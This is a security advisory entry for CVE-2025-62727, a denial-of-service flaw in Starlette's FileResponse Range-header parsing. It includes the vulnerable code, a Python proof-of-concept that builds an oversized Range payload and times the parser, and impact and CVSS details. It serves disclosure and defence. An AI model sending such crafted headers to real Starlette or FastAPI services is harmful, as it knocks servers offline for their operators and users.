CVE-2025-62727

HIGH7.5EPSS 0.07%

Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``

Published: 10/28/2025Modified: 5/11/2026
Also known as:GHSA-7f5h-v6xp-fcq8CGA-mwr9-whh6-3ppf

Description

### Summary An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`). ### Details Starlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm. ```python # starlette/responses.py _RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS class FileResponse(Response): @staticmethod def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]: ranges: list[tuple[int, int]] = [] try: units, range_ = http_range.split("=", 1) except ValueError: raise MalformedRangeHeader() # [...] ranges = [ ( int(_[0]) if _[0] else file_size - int(_[1]), int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size, ) for _ in _RANGE_PATTERN.findall(range_) # vulnerable if _ != ("", "") ] ``` The parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity. The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons. This affects any Starlette application that uses: - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178` - Direct ``starlette.responses.FileResponse`` responses ### PoC ```python #!/usr/bin/env python3 import sys import time try: import starlette from starlette.responses import FileResponse except Exception as e: print(f"[ERROR] Failed to import starlette: {e}") sys.exit(1) def build_payload(length: int) -> str: """Build the Range header value body: '0' * num_zeros + '0-'""" return ("0" * length) + "a-" def test(header: str, file_size: int) -> float: start = time.perf_counter() try: FileResponse._parse_range_header(header, file_size) except Exception: pass end = time.perf_counter() elapsed = end - start return elapsed def run_once(num_zeros: int) -> None: range_body = build_payload(num_zeros) header = "bytes=" + range_body # Use a sufficiently large file_size so upper bounds default to file size file_size = max(len(range_body) + 10, 1_000_000) print(f"[DEBUG] range_body length: {len(range_body)} bytes") elapsed_time = test(header, file_size) print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n") if __name__ == "__main__": print(f"[INFO] Starlette Version: {starlette.__version__}") for n in [5000, 10000, 20000, 40000]: run_once(n) """ $ python3 poc_dos_range.py [INFO] Starlette Version: 0.48.0 [DEBUG] range_body length: 5002 bytes [DEBUG] elapsed time: 0.053932 seconds [DEBUG] range_body length: 10002 bytes [DEBUG] elapsed time: 0.209770 seconds [DEBUG] range_body length: 20002 bytes [DEBUG] elapsed time: 0.885296 seconds [DEBUG] range_body length: 40002 bytes [DEBUG] elapsed time: 3.238832 seconds """ ``` ### Impact Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

Affected packages (2)

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1HIGH7.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References (7)